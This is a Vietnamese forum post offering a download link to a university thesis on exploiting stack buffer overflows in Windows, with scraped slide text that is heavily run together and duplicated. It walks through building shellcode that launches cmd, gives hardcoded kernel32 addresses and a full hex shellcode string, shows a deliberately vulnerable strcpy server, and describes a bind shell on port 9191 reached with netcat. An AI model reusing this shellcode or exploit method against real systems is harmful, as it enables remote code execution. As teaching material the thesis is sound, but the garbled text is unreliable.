nekoi_chan1406

New Member
Link tải luận văn miễn phí cho ae Kết Nối

.1.Tổ chức bộ nhớ cho các tiến trình Bộ nhớ được phân chia thành 2:+ user mode + kernel mode Mặc định, 2GB của không gian nhớ ảo được cung cấp cho user mode, vùng địa chỉ 0x00000000 0x7fffffff, và phần còn lại, 0x80000000 0xBfffffff được dành cho kernel mode. Trường Đại Học Dân Lập Hải PhòngKhoa Công Nghệ Thông TinBÁO CÁO ĐỒ ÁN TỐT NGHIỆPĐề tài: Tìm hiểu kỹ thuật tấn công thông qualỗiTràn bộ đệm trên WindowGiáo viên hướng dẫn: Th.S Đỗ Xuân ToànSinh viên: Nguyễn Đình HồngNội dung trình bày1. Tổng quan về lỗi Tràn bộ đệm2. Kỹ thuật tấn công lỗi Tràn bộ đệm trên window3. Chương trình Demo4. Kết luậnTổng quan về lỗi tràn bộ đệm1.1.Tổ chức bộ nhớ cho các tiến trình- Bộ nhớ được phân chiathành 2:+ user mode+ kernel modeMặc định, 2GB của không gian nhớ ảo được cung cấpcho user mode, vùng địa chỉ 0x00000000 - 0x7fffffff, vàphần còn lại, 0x80000000 - 0xBfffffff được dành chokernel mode.Tổng quan về lỗi tràn bộ đệm1.2.Tổ chức bộ nhớ của một tiến trình- Không gian nhớ gồm%EBP3 vùng:+ vùng ngăn xếp+ vùng dữ liệu%ESP+ vùng mã lệnhBộ nhớ của ngăn xếp sẽ lớn dần về phía cuối vùngnhớ khi có nhiều dữ liệu được đẩy vào.Tổng quan về lỗi tràn bộ đệm1.3.Lỗi tràn bộ đệmXét ví dụ:void fun(char *str){buffer[126] ; //Cấp phát bộ nhớ cục bộ 126 bytes trên stackstrcpy(buffer,str) ; //Sao chép đối số vào bộ đệm stack}Nếu ta gọi hàm:char *str="AAAAAA.......AAAAAAAA" ; //127 chữ AMột lỗi tràn bộ đệm sẽ xảy raKỹ thuật tấn công lỗiTràn bộ đệm trên window2.1 Khai thác lỗi tràn bộ đệmKỹ thuật tấn công lỗiTràn bộ đệm trên window2.2 Cách xây dựng hàm chức năng khi tấn công(shellcode)- Bước 1: Chúng ta sẽ viết một chương trình, ví dụ viết chươngtrình để chạy CMD-Shell bằng Visual C:#include main(){char buf[4];buf[0]='c';buf[1]='m';buf[2]='d';buf[3]='\0';WinExec(buf,SW_SHOW);exit(1);}Kỹ thuật tấn công lỗiTràn bộ đệm trên window- Bước 2: dịch sang assembly (chạy debug -> disassembly)pushebpmovebp,esppushebxpushesipushedimovbyte ptr [ebp-4],63hmovbyte ptr [ebp-3],6Dhmovbyte ptr [ebp-2],64hmovbyte ptr [ebp-1],0push5leaeax,[ebp-4]pusheaxcalldword ptr [[email protected] (0042413c)]push1callexit (004010c0)Kỹ thuật tấn công lỗiTràn bộ đệm trên window- Bước 3: Xác định địa chỉ của các hàm cần dùng trong dllcủa windows.Trong ví dụ: Chúng ta cần xác định 2 địa chỉ của hàm WinExecvà ExitProcess.Địa chỉ của WinExec là địa chỉ của KERNEL + địa chỉcon trỏ của WinExec.WinExec = 0x7c800000 + 0x6114d = 0x7c86114dĐịa chỉ của WinExec là địa chỉ của KERNEL + địa chỉcon trỏ của ExitProcess.ExitProcess = 0x7c800000 + 0x1caa2 = 0x7c81caa2Lưu ý: Mỗi phiên bản Windows có 1 địa chỉ cho các dll cơ sở khác nhauKỹ thuật tấn công lỗiTràn bộ đệm trên window- Bước 4: Dịch sang mã máyTa được shellcode như sau:"\x55\x89\xE5\x53\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6\x45\xFE\x64\xC6\x45\xFF\x00\x68\x05\x00\x00\x00\x8D\x45\xFC\x50\xB8\x4D\x11\x86\x7C\xFF\xD0\x68\x01\x00\x00\x00\xB8\xA2\xCA\x81\x7C\xFF\xD0";Ta có thể dùng debug trong visual C hay dùng hex editđể đọc mã tác vụKỹ thuật tấn công lỗiTràn bộ đệm trên window-Bước 5: Xử lý byte NULLDo các hàm xử lý chuỗi sẽ hoàn tất ngay khi gặp một kýtự null (\0), vì vậy shellcode phải không được chứa bất kỳ giátrị null nào. Ta sẽ sử dụng thủ thuật sau:Sửa đoạn mã assembly bằng cách đặt con trỏ ngăn xếpESP trỏ đến vị trí của EBP. Sau đó, thực hiện XOR ESI(thực hiện XOR zero vào ESI)Ví dụ: push $0x00Sẽ được thay thế tương đương bằng:xor eax, eaxpush eaxKỹ thuật tấn công lỗiTràn bộ đệm trên window- Bước 6: Tìm bước nhảyChúng ta dùng công cụ findjmp để tìm bước nhảy đến contrỏ ESP.cú pháp:findjmp kernel32.dll espKỹ thuật tấn công lỗiTràn bộ đệm trên window- Bước 7: Gửi shellcode tới server thử nghiệmBeginKhởi tạo buffer chứashellcodeKhởi tạo socket để kếtnối tới serverKết nối tớiserver ?Not okokSend bufferEndChương trình DemoChúng ta sẽ viết một ứng dụng client/server không an toànvà sẽ thực hiện khai thác.3.1 Chương trình serverTrong ứng dụng server có 2 mảng ký tự được khai báo: “buf” và“Message”. Buf được cấp phát 2000 byte, trong khi Message đượccấp phát 5000 byte.Khi nhận Message nó copy vào buf thông qua hàm pr (gây ralỗi).void pr( char *str){char buf[2000]="";strcpy(buf,str);}Chương trình Demo3.1 Chương trình server- Lắng nghe trên cổng do ta tự thiết lập3.2 Chương trình client- Gửi một thông điệp tới server thông qua cổng3.3 Chương trình tấn công- Gửi một shellcode tới server thực hiện mở cổng 9191- Dùng netcat (nc) để kết nối tới server qua cổng 9191 và thựcthi shellcode chạy CMDKết Luận- Qua đề tài này, tìm hiểu được những lỗi tràn bộđệm, cách khai thác lỗi tràn bộ đệm stack để tấn côngmột host từ xa. Từ đó rút ra được các kiến thức baogồm các yêu cầu về bảo mật tối thiểu khi xây dựng mộtứng dụng trên mạng. Biết các dò tìm những lỗi tràn bộđệm stack trong các ứng dụng mạng và phương pháptấn công vào các lỗi đó.- Hướng phát triển của đề tài: Xây dựng nhữngchương trình dò lỗ hổng tràn bộ đệm của các ứng dụngtrên mạng. Tìm những phương pháp để vá các lỗ hổngđó khi nó xuất hiện.Em xin Chân thành cảm ơn[...]... hiện XOR zero vào ESI) Ví dụ: push $0x00 Sẽ được thay thế tương đương bằng: xor eax, eax push eax Kỹ thuật tấn công lỗi Tràn bộ đệm trên window - Bước 6: Tìm bước nhảy Chúng ta dùng công cụ findjmp để tìm bước nhảy đến con trỏ ESP cú pháp: findjmp kernel32.dll esp Kỹ thuật tấn công lỗi Tràn bộ đệm trên window - Bước 7: Gửi shellcode tới server thử nghiệm Begin Khởi tạo buffer chứa shellcode Khởi tạo... thực thi shellcode chạy CMD Kết Luận - Qua đề tài này, tìm hiểu được những lỗi tràn bộ đệm, cách khai thác lỗi tràn bộ đệm stack để tấn công một host từ xa Từ đó rút ra được các kiến thức bao gồm các yêu cầu về bảo mật tối thiểu khi xây dựng một ứng dụng trên mạng Biết các dò tìm những lỗi tràn bộ đệm stack trong các ứng dụng mạng và phương pháp tấn công vào các lỗi đó - Hướng phát triển của đề tài:.. .Kỹ thuật tấn công lỗi Tràn bộ đệm trên window - Bước 5: Xử lý byte NULL Do các hàm xử lý chuỗi sẽ hoàn tất ngay khi gặp một ký tự null (\0), vì vậy shellcode phải không được chứa bất kỳ giá trị null nào Ta sẽ sử dụng thủ thuật sau: Sửa đoạn mã assembly bằng cách đặt con trỏ ngăn xếp ESP trỏ đến vị trí của EBP... Message nó copy vào buf thông qua hàm pr (gây ra lỗi) void pr( char *str) { char buf[2000]=""; strcpy(buf,str); } Chương trình Demo 3.1 Chương trình server - Lắng nghe trên cổng do ta tự thiết lập 3.2 Chương trình client - Gửi một thông điệp tới server thông qua cổng 3.3 Chương trình tấn công - Gửi một shellcode tới server thực hiện mở cổng 9191 - Dùng netcat (nc) để kết nối tới server qua cổng 9191 và thực... mạng Biết các dò tìm những lỗi tràn bộ đệm stack trong các ứng dụng mạng và phương pháp tấn công vào các lỗi đó - Hướng phát triển của đề tài: Xây dựng những chương trình dò lỗ hổng tràn bộ đệm của các ứng dụng trên mạng Tìm những phương pháp để vá các lỗ hổng đó khi nó xuất hiện Em xin Chân thành Thank ... ; //127 chữ A Một lỗi tràn đệm xảy Kỹ thuật công lỗi Tràn đệm window 2.1 Khai thác lỗi tràn đệm Kỹ thuật công lỗi Tràn đệm window 2.2 Cách xây dựng hàm chức công (shellcode) - Bước 1: Chúng ta... CMD-Shell Visual C: #include main() {char buf[4]; buf[0]='c'; buf[1]='m'; buf[2]='d'; buf[3]=''; WinExec(buf,SW_SHOW); exit(1);} Kỹ thuật công lỗi Tràn đệm window - Bước 2: dịch sang assembly... [email protected] (0042413c)] push call exit (004010c0) Kỹ thuật công lỗi Tràn đệm window - Bước 3: Xác định địa hàm cần dùng dll windows Trong ví dụ: Chúng ta cần xác định địa hàm WinExec ExitProcess Địa
Link Download bản DOC
Password giải nén nếu cần: ket-noi.com | Bấm trực tiếp vào Link tải, không dùng IDM để tải:

 
Last edited by a moderator:
Top